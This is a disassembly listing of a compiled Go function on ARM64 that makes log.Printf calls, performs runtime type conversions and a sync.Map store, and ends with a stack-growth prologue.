0042b03cb 0x42b044
0042b040
0042b040loc_42b040:
0042b040b 0x42b058
0042b044
0042b044loc_42b044:
0042b044bl runtime.gcWriteBarrier2
0042b048str x0, [x25]
0042b04cldr x5, [x1+8]
0042b050str x5, [x25+8]
0042b054b 0x42b058
0042b058
0042b058loc_42b058:
0042b058str x0, [x1+8]
0042b05cldr x2, [sp+128]
0042b060ldrsb x27, [x2]
0042b064b 0x42b068
0042b068
0042b068loc_42b068:
0042b068str x2, [sp+136]
0042b06corr x4, xzr, 1
0042b070str x4, [sp+144]
0042b074str x4, [sp+152]
0042b078adrp x0, 0x28c000
0042b07cadd x0, x0, 2952
0042b080movz x1, 22
0042b084mov x3, x4
0042b088bl log.Printf
0042b08cstp xzr, xzr, [sp+168]
0042b090add x5, sp, 168
0042b094str x5, [sp+88]
0042b098ldr x5, [sp+200]
0042b09cldrsb x27, [x5]
0042b0a0ldr x0, [x5+32]
0042b0a4ldr x1, [x5+40]
0042b0a8str x0, [sp+72]
0042b0acstr x1, [sp+80]
0042b0b0bl runtime.convTstring
0042b0b4str x0, [sp+64]
0042b0b8ldr x5, [sp+88]
0042b0bcldrsb x27, [x5]
0042b0c0adrp x6, 0x1ca000
0042b0c4add x6, x6, 2944
0042b0c8str x6, [x5]
0042b0ccadrp x27, 0x620000
0042b0d0ldr w6, [x27+3056]
0042b0d4cbz w6, 0x42b0dc
0042b0d8b 0x42b0e0
0042b0dc
0042b0dcloc_42b0dc:
0042b0dcb 0x42b0f4
0042b0e0
0042b0e0loc_42b0e0:
0042b0e0bl runtime.gcWriteBarrier2
0042b0e4str x0, [x25]
0042b0e8ldr x6, [x5+8]
0042b0ecstr x6, [x25+8]
0042b0f0b 0x42b0f4
0042b0f4
0042b0f4loc_42b0f4:
0042b0f4str x0, [x5+8]
0042b0f8ldr x2, [sp+88]
0042b0fcldrsb x27, [x2]
0042b100b 0x42b104
0042b104
0042b104loc_42b104:
0042b104str x2, [sp+96]
0042b108orr x4, xzr, 1
0042b10cstr x4, [sp+104]
0042b110str x4, [sp+112]
0042b114adrp x0, 0x28f000
0042b118add x0, x0, 4064
0042b11cmovz x1, 27
0042b120mov x3, x4
0042b124bl log.Printf
0042b128ldr x5, [sp+200]
0042b12cldrsb x27, [x5]
0042b130ldr w0, [x5]
0042b134str w0, [sp+60]
0042b138bl runtime.convT32
0042b13cstr x0, [sp+160]
0042b140adrp x27, 0x5e2000
0042b144ldr x5, [x27+16]
0042b148ldr x4, [sp+200]
0042b14cadrp x1, 0x1ca000
0042b150add x1, x1, 3328
0042b154mov x2, x0
0042b158adrp x3, 0x1fd000
0042b15cadd x3, x3, 2528
0042b160mov x0, x5
0042b164bl sync.(*Map).Store
0042b168ldur x29, [sp-8]
0042b16cldr x30, [sp], 192
0042b170ret x30
0042b174
0042b174loc_42b174:
0042b174str x0, [sp+8]
0042b178mov x3, x30
0042b17cbl runtime.morestack_noctxt.abi0
0042b180ldr x0, [sp+8]
0042b184b 0x42afe0
0042b188udf 0
0042b18cudf 0
0042afe0